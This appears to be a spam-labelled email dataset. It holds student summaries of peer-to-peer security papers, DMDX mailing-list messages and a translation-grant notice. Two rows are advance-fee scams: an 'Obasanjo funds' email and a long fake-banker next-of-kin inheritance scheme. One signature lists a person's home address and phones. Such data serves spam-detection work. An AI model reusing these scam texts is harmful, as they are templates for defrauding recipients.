for some >reason takes forever to kill off threads. > >--- ""j.c.f."" > >Derek Eder >Bagaregårdsgatan 3E, nr 134 >SE 416 70 Göteborg (Gothenburg) >Sverige (Sweden) > >+46 (031) 25 97 07 (home) >+46 0709 721 283 (mobil) > >email: derek_eder@yahoo.com >web page: www.derek-eder.org > >""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal > >__________________________________________________ >Do You Yahoo!? >Tired of spam? Yahoo! Mail has the best spam protection around >http://mail.yahoo.com >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Take the bull by the hand and avoid mixed metaphors.",0,1 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 09:58:34 -0500",PAPER 8,"The Sybil Attack The paper is claiming that a sufficiently recourseful attacker can grab a large part of a peep-to-peer network by simulating a sifficient number of identities, which reduces the resilience of the network due to redundancy. The problem posed is to ensure that distinct identities map to distinct identities. One way to do this is to issue challenges to each identity that will be difficult to respond to by a single entity at the same time. However, the challenges should be computationally feasible for the given time to the least resouceful correct node on the network, thus an attacker can claim as many identities and the floor of the ratio of its resourcefulness to this of the least capable correct node. The other interesting proposition is that identity checking can be ""outsourced"" to formerly accepted identities. An identity is accepted only if it has been accepted by a certain number of already accepted nodes. However, once a correct node accepts the threshold number of faulty nodes the group of fauly nodes can make the correct node accept anything else. Defending against Eclipse Atacks on Overlay Networks An attacker on a overlay network can ""eclipse"" a certain set of nodes by controlling all links in and out of the set of nodes. The eclipse attack is more general than the sybil attack. The main idea here is that the degree of correct nodes is going to be within certain bounds compared to that of faulty nodes. Bounding the degree will alleviate the strength of the attack. To do this nodes keep asymentric key paris to encrypt and sign messages. Nodes also keep a ""back pointer"" list, which is the set of nodes that have that node as a neightbor. The size of that list should be between the stipulated bounds. The list is verified by asking the its members directly. A node whose degree bounds are out of range is ignored. This approach makes rounting slower since messages need to be signed/encrypted at each hop. However, that may be a small price to pay since the eclipse attacks are very effective and the results show that the approach is reasonably effective. ",0,0 Kenneth Erabor ,kenneth60@mail.ru,"Tue, 21 Feb 2006 18:06:10 +0300",INVESTMENT,"Dear Sir/Madam, I am Mr. Kenneth Erabor, Personal Assistance (PA) to the late wife of the President of Nigeria,Mrs. Stella Obasanjo (First Lady, Federal Republic of Nigeria) who died in a Spanish hospital after complication from a surgery operation. You can confirm this from the website aired from the BBC.NEWS. http://news.bbc.co.uk/1/hi/world/africa/4368806.stm I will kindly and urgently beg for your help to immediately get the bonded funds we were to clear from the security firm based in Spain before her surgery that eventually resulted in her death on the 22nd of October, 2005. The total amount of the funds is Six Million, Five Hundred Thousand Euro (Euro 6,500,000.00,). Please let me know what the funds can be invested in while in your care for profitable business ventures. I promise to give you 30% of the total sum. If you are interested please reply to my private email address immediately. Nobody knows about this business except myself, there is no risk involved. Best regards, Mr. Kenneth Erabor. Private Email: kenneth60@mail.ru ",1,1 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 10:47:55 -0500",paper 9 - security,"SECURITY SYBIL ATTACK exploiting redundancy in a system requires the ability to determine whether two entities which appear to be different are actually distinct entities. Forging of multiple entities is termed as Sybil attack. the tempting idea of having a chain of identities vouch for other identities fails if the initial bootstrap is compromised. DIRECT VALIDATION The only direct means by which two entities can convince a third entity that they are distinct by performing some task that a single entity cannot. However, the complexity of this task is limited by the weakest valid entity in the system. Thus, if p is the ratio of the resources of a faulty entity to a minimally capable entity then f can represent/forge floor(p) entities. (assuming these challenges are issued concurrently to all entities) However, if the challenges are not concurrent to all entities forged by the malicious entity then it can represent any number of forged entities. INDIRECT IDENTITY VALIDATION a group of identities validate another identity. However, a group of faulty entities can vouch for other faulty entities. DEFENDING AGAINST ECLIPSE ATTACK ON OVERLAY NETWORKS if an attacker controls a large fraction of the neighbors of correct nodes , then it can ""eclipse"" the correct node and prevent correct overlay operation. Strong structural constraints on the overlay are used to defend against this attack. When the eclipse attack is launched the average indegree of attacker nodes will be higher than the average indegree of correct nodes ( this assumes a defense against the Sybil attack) thus, the correct nodes can identify faulty ones from their indegree values. However, the faulty nodes can consume the indegree of the correct node and prevent other nodes from pointing to them. Thus, the outdegree of each node must also be bounded below a certain threshold. This also requires an efficient auditing scheme to prevent entities from lying about their indegrees and outdegrees.the auditing scheme requires each node x to maintain a back pointer list. Node x forwards packets only from nodes in its backpointer list. x will periodically challenge members of its back-pointer set for their neighbor set. If x is not included in this set or the size of the set is greater than the threshold , x removes the node from its back pointer list. This requires sender anonymity to be efficient - i.e the node being challenged must not know about the challenger or else it could include x in its neighbor set. Anonymization is carried by forwarding requests to a via its neighbor node always (for all nodes x). A single anonymizer node does not suffice as the anonymizer could be malicious and reveal the identity of the sender. Randomizing the period between challenges from the same node prevents the attacker from correlating the arrival time of the challenge with the identity of the challenger. SECURE ROUTING FOR... this paper presents attacks which prevent correct message delivery in structured peer-to-peer overlays and presents defenses against these attacks. secure routing requires : 1) a secure assignment of node identifiers 2) secure routing table maintenance 3) secure message forwarding SECURE NODE ASSIGNMENT: if attackers are allowed to choose node IDs they can create lots of problems e.g. partition the overlay in 2 disjoint sets. A formal term for it is the Sybil Attack. solution : use a set of trusted CAs to assign node Ids to principals and to sign node certificates that bind a random nodeID to the public key of the node and the IP address. Multiple nodeID certificates are allowed per IP to prevent denial of service attacks by hijacking IP addresses. However, this scheme does not work in those designs which cause node Ids to change over time(e.g CAN) To prevent an attacker from obtaining a large number of certificates, we could have them pay a certain amount per certificate so that Sybil attacks could be prevented. (Distributed NodeID generation suffers from causes mentioned earlier in Sybil attack paper) SECURE ROUTING TABLE MAINTENANCE Attackers can spoil a routing table over time by supplying bad routing updates to it. If they are able to intercept probe messages they can reply using other nodes such that the probe sending node has a distorted idea about the overlay (probes could be to check alive status or to improve routing performance) this results in a cascading effect over time. solution: the authors suggest using 2 routing tables : one which is used for routing based on network proximity and the other that constrains routing table entries. (this is based on the observation that systems with strong structural constraints on the set of node Ids that can fill a routing table slot are less vulnerable to the above attack.) Thus a node updates it constrained routing table by using a node that is closest to it(this acts a structural constraint). SECURE MESSAGE FORWARDING Faulty nodes may choose not to forward packets thereby lowering system performance. solution : detect faults , use diverse routes fault detection is based on a time out mechanism. once a fault is detected redundant routing is carried out - i.e. route multiple copies of the message over along diverse paths. If the nodeId space is uniformly distributed then this is sufficient. In the other case as in Pastry and Chord, another technique called neighbor anycast that sends copies of the message towards the destination key until it reaches a node with the key's root in the neighbor set and then this node will use its detailed knowledge for efficient routing. iterative routing was rejected as at any hop an attacker could provide a faulty node as the next hop. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Feb 2006 10:48:42 -0700",[DMDX] Re: Die thread die!,"At 08:17 AM 2/21/2006 -0700, you wrote: >I can double or triple the amount of time DMDX waits for a thread to die >before it decides that the thread isn't going to die. Currently it waits >for a second, a figure I picked out of the ether as an unreasonably long >time to wait for a thread to die, plainly I can triple it. I'll look at >it later today. Ok, version 3.1.4.5 of DMDX no longer sticks a dialog up if an input thread refuses to die in a second. Instead it just prints the message in the diagnostics and the DMDX window. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 21 Feb 2006 10:53:09 -0700",[DMDX] unavailable till 2/26," Also, I'll be unavailable till 2/26 so if anyone has questions they'll have to wait till next Monday if others don't or can't help. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Of course power tools and alcohol don't mix. Everyone knows power tools aren't soluble in alcohol ..."" - Crazy Nigel ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 11:07:21 -0500",PAPER 8,"The Sybil attack paper points out that any attacker who has enough resources (relative to the weakest person in the network) can dupe himself many times. In other words, an attacker can fake multiple identities. This would kill the security in any system which heavily relies on redundancy for its security. To help show this, the paper introduces 4 lemmas. The first one states that if you are x times more privileged in terms of resources than another node, you can present floor(x) identities to a local entity. The second lemma states that unless all entities are validated simultaneously, any single entity can present itself through distinct identities as many times as it wishes. Lemma 3 says that even with trusted entities, if there are enough faulty entities or they have enough processing power, they can still take over. Lemma 4 builds upon others by saying that unless multiple nodes coordinate time intervals, an attacker does not need too many resources to hurt the network. An Eclipse attack is when an attacker tries to fill the neighbor sets of nonfaulty nodes with faulty nodes. This would ensure that that node would not be able to effectively communicate with the network. While unstructured networks are most effected by this attack, it is a severe problem in structured p2p systems as well. A key insight is that an attacker node would then have a large in-degree and a large out-degree. By limiting neighbor selection to those nodes who have low indegree and low outdegree, a node could assume that its neighbor is legitimate. A node could therefore ask any other node to give it their neighbor set and back-pointer set. If the requesting node is not in it or the sets are too large, then that node is removed from its neighbor set. This will ensure that a malicious node cannot insert itself into the neighbor set. The obvious counter to this is to put the requesting node into the set before sending the set back. To counter against this, the requesting node anonymously routes the request for the two sets through nodes it trusts. In the end, it seems like there is a tradeoff between querying neighbors and reliability. The more you query, the more reliable the network, but this causes large bandwidth overhead. The less you query, the less bandwidth, but your neighbors might not be reliable. The other issue is that the paper seems to assume that the network is already immune to a Sybil attack, which seems to be a chicken-and-egg problem. In the secure routing paper, the authors argue that three things are necessary to ensure that a message will reach a correct node: assigning node ids securely, maintaining routing tables securely, and forwarding messages securely. To obtain a node id, a node would have to go through a certification authority. The authority would then give the node a cryptographic key based on its IP address. The problem is that a node could request multiple certificates. To prevent this, you might have to pay for a certificate, making it costly (literally) to get multiple identities. The problem is the central authority: in general, it is something you don't want in a p2p network. Since computational power is limited, giving out cryptographic puzzles would limit the amount of time between new IDs, but a powerful node would be able to overcome this easily. The routing table turns into two routing tables. The first is the same as any system which uses proximity information or which can be duped into choosing neighbors. The backup routing table does not take proximity into account and therefore, while it will not route as efficiently, it is not as susceptible to attack. Secure routing tries to detect routing failure and then re-routed the messages appropriately. This seems like a failed part of the paper and in the end the authors suggest using a flooding or gossip like system to get the message to its destination: a complete failure in a structured network.",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 11:18:45 -0500",PAPER 8,"""The Sybil Attack"" presents four lemmas regarding properties of nodeid assignment hijacking (called the Sybil attack) in structured p2p overlays. The Sybil attack is simply misrepresenting your identity, specifically one entity might present several overlay identities in order to launch some sort of attack (a weakness of the overlay systems we've studied so far). The four lemmas presented fall into two categories. The first two lemmas relate to direct identity verification. The first states that even in the presence of distinct identity verification methods (e.g. computational puzzles), a malicous entity can misrepresent g identities where g is the lowerbound on the resource disparity in a hetrogenous network. The second lemma states that if these verifications aren't done concurrently for every verified identity, attackers can misrepresent an unbounded number of identities. The next two lemmas relate to indirect or distributed identity verification (where one node depends on some group of other trusted nodes to verify the identity of a new node). The first of these state state that a group of malicious identities (e.g. falsely verified by exploiting the first two lemmas) can collude to misrepresent an arbitrarily large number of identities. The final lemma states that, again, these verification processes must be done concurrently (in this case concurrently across the trusted set of identities) or malicious entities can easily misrepresent an arbitrarily large number of identities. ""Defending against Eclipse..."" presents another type of attack where malicious nodes ""eclipse"" a correct node by joining the correct node's neighbor set. Here no analytic model is presented, but a possible solution is proposed where indegree and outdegree bounds are enforced. This enforcement is done by anonymous auditing where a node x is verified by its neighbor's or by nodes in the backpointer set of x (nodes who have x as a neighbor). this anonymous auditing technique involves the use of a set of intermediary nodes used by all auditing nodes to preserve the aynonymity of the auditors and guarantee that with high probability a malicious node x is detected. ""Secure Routing..."" (in addition to representing Pastry, Tapestry, CAN, and Chord) presents a scheme for secure routing consisting of three elements: (1) secure assignment of nodeids (preventing Sybil attacks), (2) secure routing table maintenance (preventing Eclipse attacks) and (3) secure message forwarding (guaranteeing that at least one copy of a message reaches its destination(s)). These three elements are presented first as an abstraction, and arguments are made throughout that these three elements are important for various security properties of p2p networks. Implementations for these elements are also presented (along with so-called rejected approaches). A presented approach to (1) is to use centralized certificate authorities to issue a nodeid to ip address binding to each node as it enters the overlay. An alternative (rejected approach) uses distributed assignment where nodes are required to solve some puzzel to get a nodeid which can be later easily verified by other nodes (""The Sybil Attack"" already pointed out why this does not guarantee safety from Sybil attacks). A presented approach to (2) is to augment the existing routing information with a ""constrained"" routing table at each node such that this constrained table (along with a solution for (1)) with high probability provides successful routing. Finally, a solution to (3) is presented with uses (2) along with redundant routing and a ""failure test"" to guarantee that messages are delivered. The standard routing methods provided by the overlay are used and the failure test is applied. If a failure is detected, redundant, diverse routes are used to send message copies to their destinations. ""The Sybil Attack"" presents four simple, analytical results which reveal an inherrent problem facing p2p systems. However, no solution is proposed. And no mitigating techniques are suggested or analyzed and the concept of mitigating techniques (to increase the cost of an attack above the benefit received by the attacker) are dismissed. This type of technique may be possible and may be sufficient in many networks. The other two papers present solutions and some empirical results, but fail to build a strong (and simple) analytical framework in which to understand the problem and reason about solutions. ""Secure Routing..."" introduces many changes to existing systems without analyzing how the properties provided by the underlying systems are changed (except to note that performance will degrade, perhaps significantly). It seems that these papers strive to guarantee security properties at the significant cost of performance which the underlying systems sought to provide in the first place. A deeper study of existing, real-world systems might reveal the security requirements of those systems and solutions which meet those needs, without sacrificing performance requirements might be possible. In addition, a better analytical framework to model these systems and the salient properties might reveal a simpler solution which (while perhaps not guaranteeing the various properties) provides some probability to address system needs. ",0,0 Florin Bican ,romanianclub@columbia.edu,"Tue, 21 Feb 2006 17:24:14 +0100",translation grants (Romania),"Dear Sir/Madam, I am writing to you on behalf of the Romanian Cultural Institute, Bucharest. One of our purposes here is making Romanian literature known abroad, particularly in English-speaking countries. As part of this programme, our Institute is offering a three-month grant for (native) English-speaking translators with a fair knowledge of Romanian. They will be invited to Romania and given the possibility to know the country, its language, and its culture in greater detail. At the same time they will be involved in concrete translation projects together with Romanian authors and translators, and given the opportunity to improve their Romanian with the support of the teaching staff at Bucharest University. Candidates can choose between the periods April-June and September-December for their Romanian sojourn. During this time, they will receive free accommodation and breakfast at Palace Mogosoaia, just outside Bucharest, and Euro 500 per month, plus another five hundred towards transportation costs. Ideally, they should be expected to develop and maintain an interest in translating Romanian literature into English and, to this end, keep in touch with the Institute. They will be welcomed to return in order to pursue any relevant projects they embark upon. Further information is available on our website: www.icr.ro. Since native English speakers with a working knowledge of Romanian and the willingness to develop it with a view to making Romanian literature known abroad are difficult to find, I'd greatly appreciate any suggestions you might have as to where we could start looking for eligible candidates. In case you happen to have concrete suggestions, we'll be only too glad to consider them. Hoping to hear from you soon, I remain Yours faithfully, Florin Bican ",0,0 wang qin ,undisclosed-recipients:;,"Tue, 21 Feb 2006 06:47:50 -0500",released,"X-skidmore.edu X-AntiAbuse: Originator/Caller UID/GID - [32001 32001] / [47 12] X-AntiAbuse: Sender Address Domain - netscape.net X-Source: X-Source-Args: X-Source-Dir: Qin Wang Lloyds TSB Pacific Limited Hong Kong Branch Two Exchange Square Central, Hong Kong. Attention, Thank you for giving me your time, it is of great importance for you to take care and understand every word which I have written down below; please be patient and read the explanation in my email. I am a staff of Lloyds TSB Group Plc. here in Hong Kong attached in Private Banking Services, I am contacting you concerning a customer and an investment placed under our banks management; as a matter of factit was 3 years ago. I would respectfully request that you keep the contents of this mail private and also to kindly respect the integrity of the information you come by as a result of this email. I contacted you independently of our investigation and no one is informed of this communication; I would like to intimate you with certain facts that I believe would be of interest to you. In 2001, the subject matter; Ref: FI/TSB/958/042/0500 came to our bank to engage in business discussions with our Private Banking Services Department. He informed us that he had a financial portfolio of 15.37 million United States Dollars, which he wished to have us turn over (invest) on his behalf. I was the officer assigned to his case; I made numerous suggestions in line with my duties as the de-facto chief operations officer of the Private Banking Services epartment,especially given the volume of funds he wished to put into our bank. We met on numerous occasions prior to any investments being placed, and however I encouraged him to consider various growth funds with prime ratings. The favored route in my advice to customers is to start by assessing data on 600 traditional stocks and bond managers and 200 managers of alternative investments. Based on my advice, we spun the money around various opportunities and made attractive margins for our first months of operation,the accrued profit with interest included, stood at this point at over 16.2 million United States Dollars,this margin was not the full potential of the fund but he desired low risk guaranteed returns on investments.In mid 2002, he asked that the money be liquidated because he needed to make an urgent investment requiring cash payments in Europe. He directed that I liquidate the funds and had it deposited with a firm in Europe. I informed him that our bank would have to make special arrangements to have this done and in order not to circumvent due process, the bank would have to make a 9.5 % deduction from the funds to cater for banking and statutory charges. He complained about the charges but later came around when I explained to him the complexities of the task he was asking of us. Cash movement across borders has become especially strict since the incidents of 9/11. I contacted my affiliate in Europe and had the funds available in mainland Europe, I undertook all the processes and made sure I followed his precise instructions to the letter and had the funds deposited in a security consultancy firm, the firm is a specialist private firm that accepts deposits from high net worth individuals and blue chip corporations that handle valuable products or undertake transactions that need immediate access to cash. This small and highly private organization is familiar especially to the highly placed and well-connected organizations. In line with instructions, the money was deposited; he told me he wanted the money there in anticipation of his arrival from Norway later that week. This was the last communication we had, this transpired aroundbFebruary 25th 2003. In June last year, we got a call from the security firm informing us of the inactivity of that particular portfolio. This was an astounding position as far as I was concerned, given the fact that I managed the private banking sector I was the only one who knew about the deposit, and I could not understand why he had not come forward to claim his deposit. I made futile efforts to locate him I immediately passed the task of locating him to the internal investigations department of our bank. Four days later, information started to trickle in, that he was apparently dead, a person who suited his description was declared dead of a heart attack in Cannes, South of France; we were soon enough able to gather more information and the cause of death was confirmed. The bank immediately launched an investigation into possible surviving next of kin to alert about the situation and also to come forward to claim his estate. If you are familiar with private banking affairs, those who patronize our services usually prefer anonymity, but also some levels of detachment from conventional processes. In his bio-data form, he listed no next of kin. In the field of private banking, opening an account with us means no one will know of its existence, accounts are rarely held under a name; depositors use numbers and codes to make the accounts anonymous. This bank also gives the choice to depositors of having their mail sent to them or held at the bank itself, ensuring that there are no traces of the account and as I said, rarely do they nominate next of kin. Private banking clients apart from not nominating next of kin also usually in most cases leave wills in our care, in this case; he died Intestate. In line with our internal processes for account holders who have passed away, we instituted our own investigations in good faith to determine who should have right to claim the estate, this investigation for several months were futile. We have scanned every continent and used our private investigation affiliate companies to get to the root of the problem. It is this investigation that resulted in my decision to obtain your contact details and contact you, being as a foreigner or rather non-Asian, as a potential benefactor of the estate even if you are in no way affiliated with this individual (the deceased).My official capacity dictates that I am the only party to supervise the investigation and the only party to receive the results of the investigation. What this means, with you being a foreigner, I have considered the fact that our dear late fellow died with no known or identifiable family member. This leaves me as the only person with the full picture of what the prevailing situation is in relation to the deposit and the late beneficiary of the deposit. According to practice, the firm shall by the end of this financial year broadcast a request for statements of claim to our bank, failing to receive viable claims they will most probably revert the deposit back to our bank.This will result in the money entering our bank's accounting system and the portfolio will be out of my hands and out of the Private Banking Services Department. This will not happen if I have my way. What I wish to relate to you might be a smack of unethical practice but I want you to understand something; it is only an outsider to the banking world who finds the internal politics of the banking world aberrational. The world of private banking especially is fraught with huge rewards for those who occupy certain offices and oversee certain portfolios; you should have begun by now to put together the general direction of what I propose. There is USD$ 15,991,674(Thirteen million, nine hundred and ninety one thousand, six hundred and seventy four united states dollars) deposited, I alone have the deposit details and they will release the deposit to no one unless I instruct them to do so. I alone know of the existence of this deposit for as far as the finance firm is concerned, the transaction with our deceased customer concluded when I sent the funds to the firm, all outstanding interactions in relation to the file are just customer services and due process. The finance firm has no single idea of what's the history or nature of the deposit, they are simply awaiting instructions to release the deposit to any party that comes forward, and this is the situation. This bank has spent great amounts of money trying to track the family of the deceased; they have investigated for months and have found no family but however the investigation has officially come to an end. My proposal; I am prepared to place you in a position whereby an instruction is given to the finance firm to officially release the deposit to you as the closest surviving relation/associate, and all etiquette shall be done in accordance with the rule of law, I certainly can guarantee you that. By the common law,the power of bequeathing is coeval with the first rudiments of the law, and this power has been extended to all a man's Personal and Real estate (Personalty & Realty). There is no ruling which prevents an inheritance from being so exhausted by legacies as to render it unworthy of the heir's acceptance; basically all persons of sound mind are competent to bequeath and devise real and personal estate, excepting infants, with all this I would say we have the clear advantage to carry out a smooth and perfect operation whereby the paper work shall be coordinated in such a way that your status as a sole beneficiary is confirmed. Upon receipt of the deposit, I am prepared to share the money with you in half and no more; that is: I will simply nominate you as the next of kin and have them release the deposit to you; afterwards we share the proceeds 50/50. I would have gone ahead to ask the funds be released to me, but that would have drawn a straight line to me and my involvement in claiming the deposit, but on the other hand, you as a indifferent foreigner would easily pass as the beneficiary with the rights to claim, I assure you that I could have the deposit released to you in a few days. I will simply inform our bank of the final closing of the file relating to the customer, I will then officially communicate with the finance company and instruct them to release the deposit to you; with these two things: all is done.The alternative would be for us to have the firm direct the funds to another bank with you as account holder, this way there will be no need for you to think of receiving the money from the firm. We can fine-tune this based on our interactions, I am aware of the consequences of this proposal and I ask that if you find no interest in this project that you should discard this mail. I ask also, that you do not be vindictive or destructive, if my offer is of no appeal to you, delete this message and forget I ever contacted you; please not destroy my career because you do not approve of my proposal. You may not know this but people like me who have made tidy sums out of comparable situations run the whole private banking sector, I am not a criminal and what I do, I do not find against good conscience, this may be hard for you to understand, but the dynamics of my industry dictates that I make this move. Such opportunities only come ones' way once in a lifetime. I cannot let this chance pass me by and I hope you understand,because for once I found myself in total control and face to face with my destiny. These chances won't pass me by, I ask that you do not destroy my chance, if you will not work with me please let me know, and hence move on with my life, but do not destroy me; I am a family man and this is an occasion to provide them with new opportunities. There is a reward for this project and it is a task well worth undertaking, I have evaluated the risks and the only risk I have here is from you refusing to work with me and alerting my bank; I am the only one who knows of this situation,good fortune will bless you and plant you into the center of relevance in my life, let?s share the blessing. If you find yourself interested to work with me,please contact me specifically, through this email account mrqinwang1954@netscap.net if you give me positive signals, I will initiate this process towards a quick conclusion.It is necessary to inform you that under no condition should you contact me via official channels; I will simply deny knowing you and about this project. I repeat, I do not want you contacting me through our official lines neither do I want you contacting me through my official email account. Contact me only through this email address above; I do not want any direct link between you and me. My official lines are not secure lines as they are periodically monitored to assess our level of customer care in line with our Total Quality Management policy, please observe this instruction religiously. Please, again, note I am a family man; I happily married with kids, I send you this mail not without a measure of fear as to what the consequences might be, but I know within me that nothing ventured is nothing gained and that success and riches never come easy or on a platter of gold,this is the one truth I have learned from my private banking clients; do not betray my confidence. If we can be of one accord I shall have the pleasure of meeting you, after this task has been completed we can plan a meeting. I await your response. Yours Sincerely, Qin Wang ",1,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 09:35:56 -0800",PAPER 8,"All of the papers for this class examine the problems inherent in securing a peer-to-peer network. Within a peer-to-peer network, we need some way of authenticating the nodes; otherwise, a sibyl attack, where a single physical machine can join the network many times. If a single machine can do this, it compromises the network's reliability, since that machine crashing will cause a large portion of the network to fail. Ideally, we would like each physical machine which will be present in the network to have a unique identifier, such as a public/private key pair signed by a trusted authority. However, we cannot use a single central authority, because then that authority could be compromised. In the Sybil paper, it is shown that without a logically centralized authority, Sybil attacks are always possible unless some rather implausible assumptions are made about coordination and resource parity among entities in the network. The next paper, on Eclipse attacks, paints an even grimmer picture. In many peer-to-peer networks, it is possible for a small number of nodes to eclipse nodes in the network, dropping or rerouting messages to those nodes. Some types of peer-to-peer networks are more vulnerable to this than others. The authors propose that Eclipse attacks can be defended against by setting limits on the in degree of nodes in the network, since attacking nodes will need many in going connections. Those limits will be enforced by anonymous auditing. This entire structure relies on nodes having certified keys, and only a small portion of the network being compromised. Ignoring that little detail, it seems that this scheme would cause increased network traffic, especially if the attacking nodes attempted to disrupt the network by running frequent audits on other nodes. There is no information about the impact of auditing on the network performance, especially in a large network, where a small fraction of the nodes auditing the same node at the same time might overwhelm its network connection. The third paper proposes a secure routing protocol which works efficiently for small numbers of compromised nodes, and continues to work until up to 25% of the nodes in the network have been compromised. They assume the existence of a trusted CA, which assigns appropriate and non-conflicting node ids. Once secure node ids are assigned, the next area of concern is the routing table. While only a fraction of the nodes in the network are bad, they could provide bad routing data, and fill the routing tables of valid nodes with more faulty nodes. The proposed solution is to maintain two routing tables, one using network proximity to provide improved service, and one constrained so that it cannot be filled with faulty nodes. The proximity table will be used unless problems with message delivery are detected, at which point a node will fall back on the constrained table. To ensure that a message is routed properly, the node sending it tries a failure test, and if the results of the message are not correct, then the node will have its neighbors send out the message as well. By only relying on redundant routing when there is a problem with the network, this scheme does not produce too much overhead for a small number of faulty nodes. The main problem I have with this scheme is that it prevents many of the optimizations normally used to improve peer-to-peer performance. Load balancing by changing node ids or using virtual nodes is not possible. This scheme also does not help unstructured networks such as Gnutella. -- Victoria Krafft ",0,0 Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 12:00:45 -0500",Paper 8," The first paper, ""Sybil Attack,"" describes an attack where one faulty entity creates multiple entities in the overlay network. Using multiple identities in the network, one faulty entity can control a large portion of the overlay network and undermine its function. One way to solve such a problem is to use centralized trusted authorities to sign certificate for each entity. The paper claims that the system without a trusted authority is not practical to use resource-demanding challenges, such as computation, storage or communication challenges, to validate one's identity because node needs to send out challenges concurrently and it assumes the system has uniform resource constraints. Also, if we indirectly validate entities using vouchers, the number of vouchers has to be greater than the number of faulty nodes. As system scales to larger size, it is not feasible to use such a technique to verify node's identity to prevent Sybil Attack. The second paper, ""Defending against Eclipse attacks on overlay networks,"" presents a more general attack which controls a large fraction of the neighbors' pointers of correct nodes. Defense for Sybil attack may not work for Eclipse Attack, because faulty nodes can manipulate the overlay maintenance algorithm instead of presenting multiple identities to launch Eclipse attack. In this paper, it presents a general technique by limiting the in-degree and out-degree of a node to minimize Eclipse Attack on any overlay network. Using such a technique, the overlay network does not require any special structure in the overlay maintenance algorithm. To audit the in-degree and out-degree of a node, each node needs to maintain a back pointer list. Periodically, node sends out challenges to verify the in-degree and out-degree of a node. Also, it also needs to implement an anonymous channel such that nodes do not know who challenges the node and the reply only comes from challenged node. Using such a defense, the construction of overlay network is more constrained and optimization, such as PNS, does not perform as well in such a constrained network (because it has fewer neighbors to pick from). The third paper, ""Secure routing for structured peer-to-peer overlay networks,"" presents techniques to provide security in structured overlay network. It describes three major components in secure routing, which include a secure assignment of node identifiers, secure routing table maintenance, and secure message forwarding. In secure assignment of node id, it uses certified node id to against Sybil Attack. For secure routing table maintenance, it uses two routing tables, one normal pastry table and another constrained version of pastry table, which points to the closest node Id in id space instead of using proximity metric. For secure message forwarding, it uses routing failure test by comparing the densities of nodes to test if the root is likely to be correct for the key. If the test returns negative, it will uses redundant routing to route to the correct node. ",0,0 Tudor Marian ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 12:58:36 -0500",PAPER 8,"The paper presents a type of attack (Sybil) upon large p2p systems, and argues that in the absence of a centralized authority this type of attacks are always possible. A Sybil attack unfolds when some entity is capable of forging multiple identities, thus the rest of the peers are oblivious to the fact that a single entity is chosen instead of multiple distinct identities during the protocol. Such attacks are always possible since an entity can use all its available resources in projecting the image of several valid identities, and thus ""convince"" other entities. Moreover, if entities are not validated simultaneously, a large number of distinct identities can be presented, and thus the malicious node may grow its identity numbers indefinitely. Without a central identification authority, p2p systems are vulnerable to such attacks, therefore we see a tradeoff between scale and security on one side and heterogeneity and security on the other size - the latter is due to the fact that if all entities have virtually identical resources Sybil attacks are less disruptive. The paper discusses and proposes a solution to the Eclipse attacks on overlay networks. More general then the Sybil ones, the Eclipse attack is initiated by some attacker that controls a significant fraction of the nodes in the neighborhood of correct nodes, thus ""eclipsing"" the correct ones and preventing them to take part in the protocol. The defense against such an attack proposed by the authors consists of limiting the indegree and outdegree of the nodes. The reason behind this is that attacker nodes have a larger indegree since more nodes connect to the faulty ones as opposed to the eclipsed ones. Secondly, imposing just an indegree limit brings upon the possibility of a different attack, namely malicious nodes may consume all the incoming slots of correct nodes, therefore the limit must be imposed on the outdegree as well. The bounds are enforced by an auditing scheme, when the challenger is anonymous, thus forcing the challenged to respond correctly. The downfall is that in structured networks an attacker can ""guess"" with high accuracy where the challenge originated from, therefore the auditing might be unsuccessful. The paper considers the general problem of security and how one can address it in the context of p2p overlays. First they abstract out the overlay networks and their properties such that there is no particular system they have in mind, even though their implementation was done on Pastry. They describe a series of attacks that can be performed and identify secure routing as the main building blocks that secure overlays can take advantage of. Secure routing is split into three subproblems: secure node ID assignment, secure routing table maintenance, and secure message forwarding. Secure node ID assignment requires the existence of a centralized CA (as we have seen proved by the first paper). Secure routing table maintenance is achieved by imposing stringent constrains on the routing table entries, and the fact that nodeID's have been assigned securely. Secure forwarding is a 2-phase operation, first a fault is detected - by means of a timeout or a failure test upon the replica roots, and second, if there was a failure then the message is resent but on multiple paths, hoping they are disjoint and thus at least one reaching the destination with high probability. The experimental evaluation did not include the resource cost of the secure methods. Tudor",0,0 Oliver Kennedy ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 13:16:30 -0500",PAPER 8,"This weeks papers present two general classes of attacks on P2P networks, and provide a set of potential counters to those attacks. The first paper attempts to show that without a centralized authority to map entities to identities, it is not possible to assert that two identities belong to distinct entities. This leads to what they call a Sybil attack, where one entity enters the P2P network under multiple identities in an attempt to disrupt the network's operations. By overwhelming the number of fair nodes with its own identities, an attacker can partition the network, bypass security based on separation of effort, and with high probability disrupt access to certain objects. The paper goes on to demonstrate the necessity of such a centralized authority, as any other attempt to securely determine the distinctness of two different entities would be infeasible. The second paper presents a more general attack called an eclipse attack. This class of attacks takes advantage of the fact that the only way a node can learn about other nodes is to ask other nodes. If several attackers (or a single attacker with multiple identities) are able to collude, the attacker nodes can refer node requests to other attacker nodes. By doing this, a single attacker can eventually gain near total control over all routing in the network. This can result in dropped queries, faulty responses, or any number of other network disruptions. The paper suggests several responses. 